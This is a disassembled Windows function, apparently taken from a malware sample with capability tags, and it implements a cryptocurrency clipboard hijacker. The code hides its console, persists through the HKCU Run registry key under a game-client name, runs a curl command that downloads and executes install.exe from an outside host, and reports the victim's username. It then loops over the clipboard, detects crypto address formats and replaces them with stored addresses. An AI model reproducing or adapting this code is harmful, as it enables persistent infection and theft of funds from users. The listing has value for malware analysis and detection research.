Function at 0x1400042c0
Capabilities:
Execute command
Get session user name
Open clipboard
Persist via run registry key
Read clipboard data
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x220
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140014040]
xor rax, rsp
mov qword [rbp + 0x1b0], rax
xor r12d, r12d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.140003be0
mov r8d, 0x104
lea rdx, [rbp + 0xa0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rbp + 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov rbx, 0xffffffffffffffff
test eax, eax
jne 0x1400043a1
lea rcx, [rbp + 0xa0]
mov rax, rbx
inc rax
cmp byte [rcx + rax], r12b
jne 0x140004362
inc eax
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xa0]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str._77FortniteOnlineClientPadckager.exe
mov rcx, qword [rbp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str.curl___silent_https:__api.springsfern.in_dl_6675744d5baeaf68305a27d8___output_C:WindowsSystem32Tasksinstall.exe__nul_2_1__C:WindowsSystem32Tasksinstall.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rbp + 0x50], 0x101
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0xa0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
movabs rcx, 0x8000000000000000
mov edx, 0x16
movabs r14, 0x7fffffffffffffff
test eax, eax
je 0x1400044d1
xorps xmm0, xmm0
movups xmmword [rbp + 0x58], xmm0
mov qword [rbp + 0x68], r12
mov qword [rbp + 0x70], r12
lea rax, [rbp + 0xa0]
nop dword [rax]
inc rbx
cmp byte [rax + rbx], r12b
jne 0x140004400
cmp rbx, r14
jbe 0x140004414
call fcn.140001300
int3
cmp rbx, 0xf
ja 0x140004443
mov qword [rbp + 0x68], rbx
mov qword [rbp + 0x70], 0xf
mov r8, rbx
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x58]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx + 0x58], r12b
jmp 0x1400044e1
mov rdi, rbx
or rdi, 0xf
cmp rdi, r14
jbe 0x140004471
mov rdi, r14
lea rax, [rcx + 0x27]
mov rcx, rax
call fcn.14000d3b0
test rax, rax
je 0x14000449e
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400044ad
cmp rdi, rdx
cmovb rdi, rdx
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140004486
mov rsi, r12
jmp 0x1400044ad
cmp rcx, 0x1000
jb 0x1400044a5
lea rax, [rcx + 0x27]
cmp rax, rcx
ja 0x140004456
call fcn.140001260
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000d3b0
mov rsi, rax
mov qword [rbp + 0x58], rsi
mov qword [rbp + 0x68], rbx
mov qword [rbp + 0x70], rdi
mov r8, rbx
lea rdx, [rbp + 0xa0]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], r12b
jmp 0x1400044e5
lea rdx, str.UnknownUser
lea rcx, [rbp + 0x58]
call fcn.1400013e0
mov rbx, qword [rbp + 0x68]
lea rax, [rbp + 0x80]
mov qword [rbp], rax
mov rax, r14
sub rax, rbx
cmp rax, 0xa
jae 0x140004502
call fcn.140001300
int3
lea rax, [rbp + 0x58]
cmp qword [rbp + 0x70], 0xf
cmova rax, qword [rbp + 0x58]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0xa
lea r9, str.Username:
lea rcx, [rbp + 0x80]
call fcn.140006a20
nop
lea rdx, str.New_Client_Connected.
lea rcx, [rbp + 0x20]
call fcn.1400013e0
nop
lea rdx, [rbp + 0x80]
mov rcx, rax
call fcn.140001db0
lea rcx, [rbp + 0x50]
call fcn.140003b00
movabs r13, 0x4e94914f0000
mov r15, qword [rbp]
mov rax, qword [rbp + 0x50]
lea rsi, [0x1400140a0]
movabs r8, 0x7fffffffff67697f
mov rcx, rax
cmp rax, r8
lea rbx, [rax + 0x989680]
jl 0x140004595
mov rbx, r14
mov r12d, 0xff
movabs r14, 0x431bde82d7b634db
lea rcx, [rbp + 0x48]
call fcn.140003b00
mov rax, qword [rbp + 0x48]
cmp rbx, rax
je 0x140004607
mov ecx, 1
cmovl ecx, r12d
test cl, cl
jle 0x140004607
mov rcx, rbx
sub rcx, rax
cmp rcx, r13
jge 0x1400045fb
mov rax, r14
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf4240
cmp rax, rcx
jge 0x1400045f2
inc rdx
mov ecx, edx
call sub.KERNEL32.dll_Sleep
jmp 0x1400045a5
mov ecx, 0x5265c00
call sub.KERNEL32.dll_Sleep
jmp 0x1400045a5
cmp byte [0x140014a54], 0
mov r12d, 0
movabs r14, 0x7fffffffffffffff
je 0x1400046fb
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x6e9deadb1ce209dd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0xb2e123ef0b51a335
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0x45e9e871ed3c24db
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rdx, 0xa036544192bf7f32
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs rax, 0x9e888be78b929d7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0xd38f46cf357c8368
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0x45e9e850895948b9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0x20], ymm1
lea rdx, [rbp + 0x20]
vzeroupper
call fcn.140005bc0
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x14000473f
mov ecx, 7
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rbx, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.1400013e0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.USER32.dll_CloseClipboard]
lea r15, [rbp + 0x20]
jmp 0x140004748
cmp rsi, r15
je 0x1400047c8
mov rdx, qword [0x1400140b8]
cmp rdx, 0xf
jbe 0x140004789
inc rdx
mov rcx, qword [0x1400140a0]
cmp rdx, 0x1000
jb 0x140004784
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140004cab
mov rcx, r8
call fcn.14000d634
mov qword [0x1400140b0], r12
mov qword [0x1400140b8], 0xf
mov byte [0x1400140a0], r12b
movups xmm0, xmmword [r15]
movups xmmword [0x1400140a0], xmm0
movups xmm1, xmmword [r15 + 0x10]
movups xmmword [0x1400140b0], xmm1
mov qword [r15 + 0x10], r12
mov qword [r15 + 0x18], 0xf
mov byte [r15], r12b
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x140004803
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400047fe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004cab
call fcn.14000d634
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], 0xf
mov byte [rbp + 0x20], r12b
cmp byte [0x140014a54], r12b
je 0x1400048db
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov rcx, qword [0x1400140b0]
mov rax, r14
sub rax, rcx
cmp rax, 0xd
jb 0x140004cb9
mov rax, rsi
cmp qword [0x1400140b8], 0xf
cmova rax, qword [0x1400140a0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0xd
lea r9, str._n__sText____
lea rcx, [rbp + 0x20]
call fcn.140006a20
nop
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova rdx, qword [rbp + 0x20]
mov r8, qword [rbp + 0x30]
mov rcx, rbx
call fcn.140006b60
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x1400048cb
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400048c6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004cb2
call fcn.14000d634
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], 0xf
mov byte [rbp + 0x20], 0
mov rdx, rsi
lea rcx, [rbp + 0x80]
call fcn.1400052e0
mov rcx, rax
call fcn.140002ae0
test al, al
je 0x1400048fd
mov ebx, 1
jmp 0x140004929
call fcn.1400032f0
test al, al
je 0x14000490d
mov ebx, 2
jmp 0x140004929
call fcn.1400035a0
test al, al
je 0x14000491d
mov ebx, 3
jmp 0x140004929
call fcn.140003850
neg al
sbb ebx, ebx
and ebx, 5
mov dword [0x140014a50], ebx
cmp byte [0x140014a54], 0
je 0x140004960
lea rdx, str._n__iCryptoFormat____
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140005bc0
mov edx, dword [0x140014a50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov ebx, dword [0x140014a50]
cmp ebx, 5
jne 0x140004ae0
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], r12
mov rdi, qword [0x1400140b0]
cmp qword [0x1400140b8], 0xf
cmova rsi, qword [0x1400140a0]
cmp rdi, r14
ja 0x140004cd3
cmp rdi, 0xf
ja 0x1400049b6
mov qword [rbp + 0x30], rdi
mov qword [rbp + 0x38], 0xf
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0x20], xmm0
jmp 0x140004a48
mov rbx, rdi
or rbx, 0xf
cmp rbx, r14
jbe 0x1400049d5
mov rbx, r14
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x140004a06
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x1400049f0
mov rax, r12
jmp 0x140004a2d
cmp rcx, 0x1000
jb 0x140004a28
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140004cc6
mov rcx, rax
call fcn.14000d3b0
mov rcx, rax
test rax, rax
je 0x140004cbf
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140004a2d
call fcn.14000d3b0
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x30], rdi
mov qword [rbp + 0x38], rbx
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x20]
mov qword [rbp], rax
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x80]
call fcn.1400052e0
mov rcx, rax
call fcn.140001500
lea r8, [0x14000f87c]
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x80]
call fcn.140005a60
mov rcx, rax
call fcn.1400026b0
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x140004ac3
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004abe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004ccc
call fcn.14000d634
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], 0xf
mov byte [rbp + 0x20], 0
mov ebx, dword [0x140014a50]
lea rsi, [0x1400140a0]
lea rdx, [0x140014a58]
cmp qword [0x140014a70], 0xf
cmova rdx, qword [0x140014a58]
mov rcx, rsi
mov rsi, qword [0x1400140a0]
mov r14, qword [0x1400140b8]
cmp r14, 0xf
cmova rcx, rsi
mov rdi, qword [0x1400140b0]
cmp rdi, qword [0x140014a68]
jne 0x140004b2c
mov r8, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140004ba2
lea rdx, [0x140014a78]
cmp qword [0x140014a90], 0xf
cmova rdx, qword [0x140014a78]
lea rcx, [0x1400140a0]
cmp r14, 0xf
cmova rcx, rsi
cmp rdi, qword [0x140014a88]
jne 0x140004b67
mov r8, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140004ba2
lea rdx, [0x140014a98]
cmp qword [0x140014ab0], 0xf
cmova rdx, qword [0x140014a98]
lea rcx, [0x1400140a0]
cmp r14, 0xf
cmova rcx, rsi
cmp rdi, qword [0x140014aa8]
jne 0x140004bba
mov r8, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140004bba
lea rcx, [rbp + 0x50]
call fcn.140003b00
movabs r14, 0x7fffffffffffffff
jmp 0x14000456e
test ebx, ebx
je 0x140004c93
cmp ebx, 5
je 0x140004c93
cmp ebx, 1
jne 0x140004bd9
lea rdx, [0x140014a58]
jmp 0x140004bf3
cmp ebx, 2
jne 0x140004be7
lea rdx, [0x140014a78]
jmp 0x140004bf3
cmp ebx, 3
jne 0x140004c07
lea rdx, [0x140014a98]
lea rcx, [rbp + 0x80]
call fcn.1400052e0
mov rcx, rax
call fcn.1400026b0
lea rax, [rbp + 0x80]
mov qword [rbp + 0x40], rax
movabs r14, 0x7fffffffffffffff
mov rax, r14
mov rcx, qword [rbp + 0x68]
sub rax, rcx
cmp rax, 0x30
jb 0x140004cd9
lea r9, [rbp + 0x58]
cmp qword [rbp + 0x70], 0xf
cmova r9, qword [rbp + 0x58]
mov qword [rsp + 0x30], 0x30
lea rax, str._copied_an_address_and_that_address_got_clipped_
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x80]
call fcn.140006a20
nop
lea rdx, str.New_Clip_
lea rcx, [rbp + 0x20]
call fcn.1400013e0
nop
lea rdx, [rbp + 0x80]
mov rcx, rax
call fcn.140001db0
lea rcx, [rbp + 0x50]
call fcn.140003b00
jmp 0x14000456e
movabs r14, 0x7fffffffffffffff
lea rcx, [rbp + 0x50]
call fcn.140003b00
jmp 0x14000456e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001300
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001260
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001300
int3
call fcn.140001300
int3